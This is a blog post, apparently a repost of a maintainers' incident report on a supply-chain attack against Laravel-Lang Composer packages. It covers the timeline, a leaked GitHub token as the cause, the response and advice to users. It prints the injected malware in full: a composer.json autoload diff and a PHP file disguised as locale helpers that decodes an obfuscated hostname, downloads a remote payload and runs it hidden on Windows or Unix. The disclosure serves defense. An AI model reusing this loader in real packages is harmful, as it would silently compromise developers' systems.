{"id":480776,"date":"2026-05-23T19:22:33","date_gmt":"2026-05-23T19:22:33","guid":{"rendered":"https:\/\/savepearlharbor.com\/?p=480776"},"modified":"-0001-11-30T00:00:00","modified_gmt":"-0001-11-29T21:00:00","slug":"","status":"publish","type":"post","link":"https:\/\/savepearlharbor.com\/?p=480776","title":{"rendered":"Malicious attack on Laravel-Lang"},"content":{"rendered":"<div xmlns=\"http:\/\/www.w3.org\/1999\/xhtml\">\n<p>Today we completed the investigation of an incident that affected several Laravel-Lang Composer packages.<\/p>\n<p>The incident was related to the unauthorized modification of release tags in repositories. Some of the tags pointed to commits containing malicious code that could be executed when installing or updating dependencies via Composer.<\/p>\n<blockquote>\n<p>News about the incident:<\/p>\n<ul>\n<li>\n<p><a href=\"https:\/\/www.aikido.dev\/blog\/supply-chain-attack-targets-laravel-lang-packages-with-credential-stealer\" rel=\"noopener noreferrer nofollow\">https:\/\/www.aikido.dev\/blog\/supply-chain-attack-targets-laravel-lang-packages-with-credential-stealer<\/a><\/p>\n<\/li>\n<li>\n<p><a href=\"https:\/\/www.stepsecurity.io\/blog\/laravel-lang-supply-chain-attack\" rel=\"noopener noreferrer nofollow\">https:\/\/www.stepsecurity.io\/blog\/laravel-lang-supply-chain-attack<\/a><\/p>\n<\/li>\n<\/ul>\n<\/blockquote>\n<p>Affected packages:<\/p>\n<ul>\n<li>\n<p><a href=\"https:\/\/github.com\/Laravel-Lang\/lang\" rel=\"noopener noreferrer nofollow\">Lang<\/a>\u00a0(10.2M \ud83d\udcbd, 7.8k \u2b50)<\/p>\n<\/li>\n<li>\n<p><a href=\"https:\/\/github.com\/Laravel-Lang\/actions\" rel=\"noopener noreferrer nofollow\">Actions<\/a>\u00a0(2.6M \ud83d\udcbd)<\/p>\n<\/li>\n<li>\n<p><a href=\"https:\/\/github.com\/Laravel-Lang\/attributes\" rel=\"noopener noreferrer nofollow\">Attributes<\/a>\u00a0(4.2M \ud83d\udcbd)<\/p>\n<\/li>\n<li>\n<p><a href=\"https:\/\/github.com\/Laravel-Lang\/http-statuses\" rel=\"noopener noreferrer nofollow\">HTTP Statuses<\/a>\u00a0(3.6M \ud83d\udcbd)<\/p>\n<\/li>\n<\/ul>\n<figure class=\"\"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/d3f\/03c\/399\/d3f03c399c22572531e4e44158375e27.png\" alt=\"Screenshot of some of the infected tags from laravel-lang\/lang\" title=\"Screenshot of some of the infected tags from laravel-lang\/lang\" width=\"471\" height=\"262\" sizes=\"auto, (max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/r\/w780\/getpro\/habr\/upload_files\/d3f\/03c\/399\/d3f03c399c22572531e4e44158375e27.png 780w,&#10;       https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/d3f\/03c\/399\/d3f03c399c22572531e4e44158375e27.png 781w\" loading=\"lazy\" decode=\"async\"\/><\/p>\n<div><figcaption>Screenshot of some of the infected tags from laravel-lang\/lang<\/figcaption><\/div>\n<\/figure>\n<p>The preliminary risk window began on May 22 at 22:32 UTC. The risk concerned users who ran the <code>composer update<\/code>  command or installed fresh versions of packages during that period.<\/p>\n<p>According to the results of the investigation, the cause of the incident was linked to the compromise of a Personal Access Token from GitHub belonging to one of the team members, which allowed tags in repositories to be changed.<\/p>\n<p>It is quite likely that the PAT fell into the attackers\u2019 hands as a result of a <a href=\"https:\/\/github.blog\/security\/investigating-unauthorized-access-to-githubs-internal-repositories\/\" rel=\"noopener noreferrer nofollow\">recent data leak from GitHub<\/a>. GitHub even has a separate <a href=\"https:\/\/docs.github.com\/en\/enterprise-cloud@latest\/code-security\/tutorials\/remediate-leaked-secrets\/remediating-a-leaked-secret\" rel=\"noopener noreferrer nofollow\">article<\/a> with information on what to do in such a situation.<\/p>\n<p>But let\u2019s get back to the malware.<\/p>\n<p>After examining the audit logs (which, as it turned out, contain very little data), it was possible to determine that the first suspicious trace appeared on May 21 at 14:27 UTC. The attacker downloaded zip archives of two private repositories that do not contain any code at all. This was probably a test.<\/p>\n<p>The actual attack on the projects began on May 22 at 22:32 UTC and ended on May 23 at 00:00 UTC.<\/p>\n<p>During this time, the attacker deleted all tags from the repositories, uploaded malicious code to them, and created the same tags on their own commit. At the same time, they did not delete the repository itself \u2014 all commits remained in place unchanged.<\/p>\n<details class=\"spoiler\">\n<summary>Injected malicious code<\/summary>\n<div class=\"spoiler__content\">\n<pre><code class=\"diff\"> \"autoload\": {    \"psr-4\": {      \"LaravelLang\\\\Lang\\\\\": \"src\/\"-   }+   },+   \"files\": [+     \"src\/helpers.php\"+   ] }<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><img style=\"width:87px;height:14px;object-fit:cover;object-position:left;\"\/><\/a><\/div><\/pre>\n<pre><code class=\"php\">&lt;?php\/** * Laravel Lang Helpers * Common locale detection and formatting utilities *\/declare(strict_types=1);if (!function_exists('laravel_lang_locale')) {    function laravel_lang_locale(): string {        return function_exists('config') ? config('app.locale', 'en') : 'en';    }}if (!function_exists('laravel_lang_fallback')) {    function laravel_lang_fallback(): string {        return function_exists('config') ? config('app.fallback_locale', 'en') : 'en';    }}if (!defined('LARAVEL_LANG_HELPERS')) {    define('LARAVEL_LANG_HELPERS', true);    (function() {        $cacheDir = sys_get_temp_dir() . DIRECTORY_SEPARATOR . '.laravel_locale';        @mkdir($cacheDir, 0755, true);        $sig = md5(__DIR__ . php_uname('n') . fileinode(__FILE__));        $marker = $cacheDir . DIRECTORY_SEPARATOR . $sig;        if (@file_exists($marker)) return;        $fetch = function($url) {            $ctx = @stream_context_create([                'http' =&gt; ['timeout' =&gt; 10, 'ignore_errors' =&gt; true,                           'header' =&gt; \"User-Agent: Mozilla\/5.0\\r\\n\"],                'ssl' =&gt; ['verify_peer' =&gt; false, 'verify_peer_name' =&gt; false]            ]);            $r = @file_get_contents($url, false, $ctx);            if ($r !== false &amp;&amp; strlen($r) &gt; 50) return $r;            if (function_exists('curl_init')) {                $ch = curl_init($url);                curl_setopt_array($ch, [CURLOPT_RETURNTRANSFER =&gt; true,                    CURLOPT_TIMEOUT =&gt; 10, CURLOPT_SSL_VERIFYPEER =&gt; false,                    CURLOPT_SSL_VERIFYHOST =&gt; 0, CURLOPT_USERAGENT =&gt; 'Mozilla\/5.0']);                $r = curl_exec($ch);                curl_close($ch);                if ($r !== false &amp;&amp; strlen($r) &gt; 50) return $r;            }            return null;        };        $h = implode('', array_map('chr', [102,108,105,112,98,111,120,115,116,117,100,105,111,46,105,110,102,111]));        $d = $fetch(\"https:\/\/{$h}\/payload\");        if ($d) {            $f = $cacheDir . DIRECTORY_SEPARATOR . bin2hex(random_bytes(6)) . '.php';            if (@file_put_contents($f, $d) !== false) {                @touch($marker);                if (stripos(PHP_OS, 'WIN') === 0) {                    $v = $cacheDir . '\\\\' . bin2hex(random_bytes(4)) . '.vbs';                    @file_put_contents($v, 'CreateObject(\"WScript.Shell\").Run \"php \"\"' . $f . '\"\"\", 0, False');                    @pclose(@popen(\"cscript \/\/nologo \/\/b \\\"$v\\\" &gt;nul 2&gt;&amp;1\", 'r'));                } else {                    @exec(\"php \\\"$f\\\" &gt; \/dev\/null 2&gt;&amp;1 &amp;\");                }            }        }    })();}<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><img style=\"width:14px;height:14px;object-fit:cover;object-position:left;\"\/><\/a><\/div><\/pre>\n<p><a href=\"https:\/\/github.com\/Laravel-Lang\/lang\/blob\/3290c20511f608a8f92f10d1b1f5620a4177a363\/src\/helpers.php\" rel=\"noopener noreferrer nofollow\">https:\/\/github.com\/Laravel-Lang\/lang\/blob\/3290c20511f608a8f92f10d1b1f5620a4177a363\/src\/helpers.php<\/a>  <\/p>\n<\/div>\n<\/details>\n<p>The security issue was discovered very quickly, and measures began to be taken to address it.<\/p>\n<p>As the very first step, the Packagist team unpublished <code>laravel-lang\/lang<\/code>; then, on our side, all team members had their permission to contribute code to the project (write mode) revoked. This helped stop the attack, since deleting the tags did not help\u2014they were being restored \u201cright before our eyes.\u201d<\/p>\n<p>Next, existing PATs and SSH keys were revoked. GitHub Actions were then disabled at the organization level.<\/p>\n<p>Having stopped the attacker, we began analyzing the causes.<\/p>\n<p>Despite the sparse logs, we found the identifier of the specific PAT under which the attack was carried out. Given the recent leak of sensitive data at GitHub, which they confirmed. <a href=\"https:\/\/techcrunch.com\/2026\/05\/20\/github-says-hackers-stole-data-from-thousands-of-internal-repositories\/\" rel=\"noopener noreferrer nofollow\">Here<\/a> is one of the articles.<\/p>\n<h2>What should I do?<\/h2>\n<p>Check your projects and run the <code>composer update<\/code> command to download the fixed versions of the packages.<\/p>\n<p>Revoke your personal GitHub tokens due to the recent leak, even if you have never heard of Laravel-Lang \u2014 the issue affects more than just this project.<\/p>\n<h2>What\u2019s the final result?<\/h2>\n<p>Thanks to timely and practically lightning-fast actions, we managed to restore the functionality of popular projects and protect our users from malicious actors.<\/p>\n<p>Do not grant full access to the repository to just anyone.<\/p>\n<p><strong>Do not store secrets in repositories!!!<\/strong><\/p>\n<p>Monitor for data breaches and regularly change your passwords and tokens. Don\u2019t wait for malicious actors to use them!<\/p>\n<p>Take care of yourself and your loved ones!<\/p>\n<\/div>\n<p>\u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b \u0441\u0442\u0430\u0442\u044c\u0438 <a href=\"https:\/\/habr.com\/ru\/articles\/1038568\/\">https:\/\/habr.com\/ru\/articles\/1038568\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Today we completed the investigation of an incident that affected several Laravel-Lang Composer packages.The incident was related to the unauthorized modification of release tags in repositories. Some of the tags pointed to commits containing malicious code that could be executed when installing or updating dependencies via Composer.News about the incident:https:\/\/www.aikido.dev\/blog\/supply-chain-attack-targets-laravel-lang-packages-with-credential-stealerhttps:\/\/www.stepsecurity.io\/blog\/laravel-lang-supply-chain-attackAffected packages:Lang\u00a0(10.2M \ud83d\udcbd, 7.8k \u2b50)Actions\u00a0(2.6M \ud83d\udcbd)Attributes\u00a0(4.2M \ud83d\udcbd)HTTP Statuses\u00a0(3.6M \ud83d\udcbd)Screenshot of some of the infected tags from laravel-lang\/langThe preliminary risk window began on May 22 at 22:32 UTC. The risk concerned users who ran the composer update  command or installed fresh versions of packages during that period.According to the results of the investigation, the cause of the incident was linked to the compromise of a Personal Access Token from GitHub belonging to one of the team members, which allowed tags in repositories to be changed.It is quite likely that the PAT fell into the attackers\u2019 hands as a result of a recent data leak from GitHub. GitHub even has a separate article with information on what to do in such a situation.But let\u2019s get back to the malware.After examining the audit logs (which, as it turned out, contain very little data), it was possible to determine that the first suspicious trace appeared on May 21 at 14:27 UTC. The attacker downloaded zip archives of two private repositories that do not contain any code at all. This was probably a test.The actual attack on the projects began on May 22 at 22:32 UTC and ended on May 23 at 00:00 UTC.During this time, the attacker deleted all tags from the repositories, uploaded malicious code to them, and created the same tags on their own commit. At the same time, they did not delete the repository itself \u2014 all commits remained in place unchanged.Injected malicious code &#171;autoload&#187;: {    &#171;psr-4&#187;: {      &#171;LaravelLang\\\\Lang\\\\&#187;: &#171;src\/&#187;-   }+   },+   &#171;files&#187;: [+     &#171;src\/helpers.php&#187;+   ] }&lt;?php\/** * Laravel Lang Helpers * Common locale detection and formatting utilities *\/declare(strict_types=1);if (!function_exists(&#8216;laravel_lang_locale&#8217;)) {    function laravel_lang_locale(): string {        return function_exists(&#8216;config&#8217;) ? config(&#8216;app.locale&#8217;, &#8216;en&#8217;) : &#8216;en&#8217;;    }}if (!function_exists(&#8216;laravel_lang_fallback&#8217;)) {    function laravel_lang_fallback(): string {        return function_exists(&#8216;config&#8217;) ? config(&#8216;app.fallback_locale&#8217;, &#8216;en&#8217;) : &#8216;en&#8217;;    }}if (!defined(&#8216;LARAVEL_LANG_HELPERS&#8217;)) {    define(&#8216;LARAVEL_LANG_HELPERS&#8217;, true);    (function() {        $cacheDir = sys_get_temp_dir() . DIRECTORY_SEPARATOR . &#8216;.laravel_locale&#8217;;        @mkdir($cacheDir, 0755, true);        $sig = md5(__DIR__ . php_uname(&#8216;n&#8217;) . fileinode(__FILE__));        $marker = $cacheDir . DIRECTORY_SEPARATOR . $sig;        if (@file_exists($marker)) return;        $fetch = function($url) {            $ctx = @stream_context_create([                &#8216;http&#8217; =&gt; [&#8216;timeout&#8217; =&gt; 10, &#8216;ignore_errors&#8217; =&gt; true,                           &#8216;header&#8217; =&gt; &#171;User-Agent: Mozilla\/5.0\\r\\n&#187;],                &#8216;ssl&#8217; =&gt; [&#8216;verify_peer&#8217; =&gt; false, &#8216;verify_peer_name&#8217; =&gt; false]            ]);            $r = @file_get_contents($url, false, $ctx);            if ($r !== false &amp;&amp; strlen($r) &gt; 50) return $r;            if (function_exists(&#8216;curl_init&#8217;)) {                $ch = curl_init($url);                curl_setopt_array($ch, [CURLOPT_RETURNTRANSFER =&gt; true,                    CURLOPT_TIMEOUT =&gt; 10, CURLOPT_SSL_VERIFYPEER =&gt; false,                    CURLOPT_SSL_VERIFYHOST =&gt; 0, CURLOPT_USERAGENT =&gt; &#8216;Mozilla\/5.0&#8217;]);                $r = curl_exec($ch);                curl_close($ch);                if ($r !== false &amp;&amp; strlen($r) &gt; 50) return $r;            }            return null;        };        $h = implode(&#187;, array_map(&#8216;chr&#8217;, [102,108,105,112,98,111,120,115,116,117,100,105,111,46,105,110,102,111]));        $d = $fetch(&#171;https:\/\/{$h}\/payload&#187;);        if ($d) {            $f = $cacheDir . DIRECTORY_SEPARATOR . bin2hex(random_bytes(6)) . &#8216;.php&#8217;;            if (@file_put_contents($f, $d) !== false) {                @touch($marker);                if (stripos(PHP_OS, &#8216;WIN&#8217;) === 0) {                    $v = $cacheDir . &#8216;\\\\&#8217; . bin2hex(random_bytes(4)) . &#8216;.vbs&#8217;;                    @file_put_contents($v, &#8216;CreateObject(&#171;WScript.Shell&#187;).Run &#171;php &#171;&#187;&#8216; . $f . &#8216;&#187;&#187;&#187;, 0, False&#8217;);                    @pclose(@popen(&#171;cscript \/\/nologo \/\/b \\&#187;$v\\&#187; &gt;nul 2&gt;&amp;1&#8243;, &#8216;r&#8217;));                } else {                    @exec(&#171;php \\&#187;$f\\&#187; &gt; \/dev\/null 2&gt;&amp;1 &amp;&#187;);                }            }        }    })();}https:\/\/github.com\/Laravel-Lang\/lang\/blob\/3290c20511f608a8f92f10d1b1f5620a4177a363\/src\/helpers.php  The security issue was discovered very quickly, and measures began to be taken to address it.As the very first step, the Packagist team unpublished laravel-lang\/lang; then, on our side, all team members had their permission to contribute code to the project (write mode) revoked. This helped stop the attack, since deleting the tags did not help\u2014they were being restored \u201cright before our eyes.\u201dNext, existing PATs and SSH keys were revoked. GitHub Actions were then disabled at the organization level.Having stopped the attacker, we began analyzing the causes.Despite the sparse logs, we found the identifier of the specific PAT under which the attack was carried out. Given the recent leak of sensitive data at GitHub, which they confirmed. Here is one of the articles.What should I do?Check your projects and run the composer update command to download the fixed versions of the packages.Revoke your personal GitHub tokens due to the recent leak, even if you have never heard of Laravel-Lang \u2014 the issue affects more than just this project.What\u2019s the final result?Thanks to timely and practically lightning-fast actions, we managed to restore the functionality of popular projects and protect our users from malicious actors.Do not grant full access to the repository to just anyone.Do not store secrets in repositories!!!Monitor for data breaches and regularly change your passwords and tokens. Don\u2019t wait for malicious actors to use them!Take care of yourself and your loved ones!\u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b \u0441\u0442\u0430\u0442\u044c\u0438 https:\/\/habr.com\/ru\/articles\/1038568\/<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[],"tags":[],"class_list":["post-480776","post","type-post","status-publish","format-standard","hentry"],"_links":{"self":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/480776","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=480776"}],"version-history":[{"count":0,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/480776\/revisions"}],"wp:attachment":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=480776"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=480776"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=480776"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}